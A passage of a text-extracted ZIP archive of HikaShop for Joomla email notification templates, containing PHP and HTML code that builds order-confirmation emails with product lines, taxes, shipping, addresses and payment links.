!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:ORDER_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[KN�<�H�H'order_creation_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikashop_config();
$orderClass = hikashop_get('class.order');
$imageHelper = hikashop_get('helper.image');
$productClass = hikashop_get('class.product');
$fieldsClass = hikashop_get('class.field');
if(hikashop_level(2)) {
$null = null;
$itemFields =
$fieldsClass->getFields('frontcomp',$null,'item');
}
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
$order_url = $data->order_url;
$mail_status = $data->mail_status;
$customer = $data->customer;
if(!isset($data->order))
$data->order = new stdClass();
$fs =
array('order_number','order_discount_tax','order_shipping_tax','order_full_price','order_shipping_price','order_payment_price','order_discount_price','order_currency_id','order_status');
foreach($fs as $f) {
if(!isset($data->order->$f)){
if(isset($data->$f))
$data->order->$f = $data->$f;
else
$data->order->$f = '';
}
}
$url = $data->order->order_number;
$data->order->order_url = $order_url;
if(!empty($customer->user_cms_id) &&
(int)$customer->user_cms_id != 0) {
$url = '<a href="'.$order_url.'">'.
$url.'</a>';
}
$data->cart =
$orderClass->loadFullOrder($data->order_id,true,false);
$data->cart->coupon = new stdClass();
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
$data->order->order_discount_tax +
$data->order->order_shipping_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
if($app->isAdmin()) {
$view = 'order';
} else {
$view = 'address';
}
$colspan = 4;
$customer_name = @$customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname;
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'ORDER_PRODUCT_CODE' =>
(bool)$config->get('show_product_code', false),
'order' => $data->cart,
'billing_address' => @$data->cart->billing_address,
'shipping_address' => @$data->cart->shipping_address,
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_ORDER' =>
JText::_('SUMMARY_OF_YOUR_ORDER'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_ORDER'),
'HI_CUSTOMER' => JText::sprintf('HI_CUSTOMER',
$customer_name),
'ORDER_CREATED' =>
JText::sprintf('ORDER_CREATION_SUCCESS_ON_WEBSITE_AT_DATE', $url,
HIKASHOP_LIVE, hikashop_getDate(time(),'%d %B %Y'),
hikashop_getDate(time(),'%H:%M')),
'ORDER_BEGIN_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER_BEGIN', HIKASHOP_LIVE),
'ORDER_END_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER', HIKASHOP_LIVE) .
'<br/>' .
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name),
);
$templates = array();
$products_ids = array();
foreach($data->cart->products as $item) { $products_ids[] =
$item->product_id; }
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
{
$group = $config->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = $productClass->all_products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group){
$display_item_price=false;
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price>0){
$display_item_price = true;
}
}
if($display_item_price){
if($config->get('price_with_tax')){
$t .= '
'.$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
}else{
$t .= '
'.$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
}
}
}
$t .= '</p>';
if(!empty($itemFields)){
foreach($itemFields as $field){
$namekey = $field->field_namekey;
if(empty($item->$namekey) && !strlen($item->$namekey))
continue;
$t .=
'<p>'.$fieldsClass->getFieldName($field).':
'.$fieldsClass->show($field,$item->$namekey,'user_email').'</p>';
}
}
if($group){
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price>0){
if($config->get('price_with_tax')){
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price+$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
}else{
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$config->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status,$statusDownload)){
$t .= '<p>';
foreach($item->files as $file){
$fileName = empty($file->file_name) ? $file->file_path :
$file->file_name;
$file_pos = empty($file->file_pos) ? '' :
('&file_pos=' . $file->file_pos);
$t .= '<a
href="'.hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=download&file_id='.$file->file_id.'&order_id='.$data->order_id.$file_pos.$url_itemid).'">'.$fileName.'</a><br/>';
}
$t .= '</p>';
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($config->get('price_with_tax')){
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
}else{
$unit_price =
$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)){
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order_discount_price*-1,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format(($data->order_discount_price-@$data->order_discount_tax)*-1,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)){
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order->order_shipping_price,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format($data->order->order_shipping_price-@$data->order->order_shipping_tax,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)){
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' =>
$currencyHelper->format($data->order->order_payment_price,$data->order->order_currency_id)
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($config->get('price_with_tax')){
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
}else{
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
}
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
{
if($config->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)){
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
}else{
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id)) {
$shippingClass = hikashop_get('class.shipping');
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}else{
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
}else{
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($config->get('price_with_tax')){
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
}else{
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
}
$shippings_data[] = $shipping_data;
}
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
unset($shippingClass);
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2)) {
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(isset($data->$fieldName) &&
!isset($data->order->$fieldName))
$data->order->$fieldName = $data->$fieldName;
if(empty($data->order->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
$data->order->$fieldName,'user_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$params = null;
$js = '';
$fieldsClass = hikashop_get('class.field');
$template =
trim(hikashop_getLayout($view,'address_template',$params,$js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)){
$billing = ''.$template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->billing_address->$fieldname,'user_email'),$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->order_shipping_id) &&
!empty($data->cart->shipping_address)) {
$shipping = ''.$template;
foreach($data->cart->fields as $field) {
$fieldname = $field->field_namekey;
if(!empty($data->cart->shipping_address->$fieldname))
$shipping=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->shipping_address->$fieldname,'user_email'),$shipping);
}
$vars['SHIPPING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$shipping));
} else {
$vars['SHIPPING_ADDRESS'] = $vars['BILLING_ADDRESS'];
}
$confirmed =
$config->get('order_confirmed_status','confirmed');
if($data->order_status != $confirmed &&
$data->order_payment_method != 'collectondelivery') {
ob_start();
if($data->cart->full_total->prices[0]->price_value_with_tax>0)
echo '<p>' .
JText::_('ORDER_VALID_AFTER_PAYMENT') . '</p>';
if(in_array($data->order_payment_method,
array('banktransfer', 'check'))) {
$amount =
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,
$data->order->order_currency_id);
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->order_payment_id);
$information = $payment->payment_params->information;
if(preg_match('#^[a-z0-9_]*$#i',$information)){
$information = JText::_($information);
}
if($data->order_payment_method=='banktransfer'){
echo '<p>' .
JText::sprintf('PLEASE_TRANSFERT_MONEY',$amount).'<br/>'.$information.'<br/>'.JText::sprintf('INCLUDE_ORDER_NUMBER_TO_TRANSFER',$data->order_number)
. '</p>';
}elseif($data->order_payment_method=='check'){
echo '<p>' .
JText::sprintf('PLEASE_SEND_CHECK',$amount).'<br/>'.$information.'<br/>'.JText::sprintf('INCLUDE_ORDER_NUMBER_TO_CHECK',$data->order_number)
. '</p>';
}
} else {
if($data->cart->full_total->prices[0]->price_value_with_tax>0
&& hikashop_level(1) &&
$config->get('allow_payment_button',1)) {
$pay_url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=pay&order_id='.$data->order_id.$url_itemid);
if($config->get('force_ssl',0) &&
strpos('https://',$pay_url) === false) {
$pay_url =
str_replace('http://','https://',$pay_url);
}
echo '<p><a href="'. $pay_url
.'">'.JText::_('PAY_NOW') .
'</a></p>';
}
}
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] .= $content;
}
PK�[]wF{{'order_creation_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class order_creation_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadNotification((int)$data,
'order_creation_notification');
return $order->mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKASHOP_ORDER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.hikashop.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[qg6qii$order_creation_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->customer->name);?>
<?php
$url = $data->order_number;
$config =& hikashop_config();
if($config->get('simplified_registration',0)!=2){
$url .= ' ( '.$data->order_url.' )';
}
echo
JText::sprintf('ORDER_CREATION_SUCCESS_ON_WEBSITE_AT_DATE',$url,HIKASHOP_LIVE,
hikashop_getDate(time(),'%d %B %Y'),
hikashop_getDate(time(),'%H:%M'));?>
--------------------------------------
<?php echo JText::_('SUMMARY_OF_YOUR_ORDER');?>
--------------------------------------
<?php echo
JText::_('CART_PRODUCT_NAME')."\t".JText::_('CART_PRODUCT_UNIT_PRICE')."\t".JText::_('CART_PRODUCT_QUANTITY')."\t".JText::_('HIKASHOP_TOTAL');?>
<?php
foreach($data->cart->products as $item){
$price = $item->order_product_price*$item->order_product_quantity;
echo strip_tags($item->order_product_name) . "\t" .
$currencyHelper->format($item->order_product_price,$data->order_currency_id)."\t".$item->order_product_quantity."\t".$currencyHelper->format($price,$data->order_currency_id)."\n";
}
if(bccomp($data->order_discount_price,0,5)){
echo JText::_('HIKASHOP_COUPON').' :
'.$currencyHelper->format($data->order_discount_price*-1,$data->order_currency_id)."\n";
}
if(bccomp($data->order_shipping_price,0,5)){
echo JText::_('HIKASHOP_SHIPPING_METHOD').' :
'.$currencyHelper->format($data->order_shipping_price,$data->order_currency_id)."\n";
}
if(!empty($data->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->additional as $additional) {
if(in_array($additional->name, $exclude_additionnal)) continue;
echo JText::_($additional->order_product_name).' : ';
if(!empty($additional->order_product_price) ||
empty($additional->order_product_options)) {
echo $currencyHelper->format($additional->order_product_price,
$this->order->order_currency_id);
} else {
echo $additional->order_product_options;
}
echo "\n";
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax){
if($config->get('detailed_tax_display') &&
!empty($data->order_tax_info)){
foreach($data->order_tax_info as $tax){
echo $tax->tax_namekey. ' :
'.$currencyHelper->format($tax->tax_amount,$data->order_currency_id)."\n";
}
}else{
echo
JText::sprintf('TOTAL_WITHOUT_VAT',$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->order_currency_id))."\n";
}
echo
JText::sprintf('TOTAL_WITH_VAT',$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order_currency_id))."\n\n";
}else{
echo JText::_('HIKASHOP_FINAL_TOTAL'). ' :
'.$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order_currency_id)."\n";
}
$params = null;
$js = '';
$fieldsClass = hikashop_get('class.field');
$app = JFactory::getApplication();
if($app->isAdmin()){
$view = 'order';
}else{
$view = 'address';
}
$template =
trim(hikashop_getLayout($view,'address_template',$params,$js));
if(!empty($data->cart->billing_address)){
$billing = $template;
foreach($data->order_addresses_fields as $field){
$fieldname = $field->field_namekey;
$address =&
$data->order_addresses[$data->cart->billing_address->address_id];
$billing=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$address->$fieldname),$billing);
}
echo JText::_('HIKASHOP_BILLING_ADDRESS')."\n";
echo
preg_replace('#{(?:(?!}).)*}#i','',$billing)."\n\n";
}
if(!empty($data->order_shipping_method)) {
$currentShipping =
hikashop_import('hikashopshipping',$data->order_shipping_method);
if(method_exists($currentShipping, 'getShippingAddress')) {
$override =
$currentShipping->getShippingAddress($data->order_shipping_id);
if($override !== false) {
$data->override_shipping_address = $override;
}
}
}
if(!empty($data->cart->has_shipping) &&
(!empty($data->cart->shipping_address) ||
!empty($data->override_shipping_address))) {
if( !empty($data->override_shipping_address) ) {
echo
str_replace('<br/>',"\r\n",$data->override_shipping_address);
} else {
$shipping = $template;
foreach($data->order_addresses_fields as $field){
$fieldname = $field->field_namekey;
$address =&
$data->order_addresses[$data->cart->shipping_address->address_id];
$shipping=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$address->$fieldname),$shipping);
}
echo JText::_('HIKASHOP_SHIPPING_ADDRESS')."\n";
echo
preg_replace('#{(?:(?!}).)*}#i','',$shipping)."\n\n";
}
}
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
$fieldData = trim(@$data->$fieldName);
if(empty($fieldData)) continue;
echo $fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,$data->$fieldName)."\r\n";
}
if(!$app->isAdmin()){
if($data->cart->full_total->prices[0]->price_value_with_tax>0)
echo JText::_('ORDER_VALID_AFTER_PAYMENT')."\n\n";
echo
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER',HIKASHOP_LIVE)."\n\n";
}
echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
PK�[o|��order_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
body {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
body{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
body{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CHANGED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_CUSTOMER}</h3>
{TXT:ORDER_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td>
</tr>
<tr>
<td>{VAR:BILLING_ADDRESS}</td>
<td>{VAR:SHIPPING_ADDRESS}</td>
</tr>
</table>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_ORDER}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
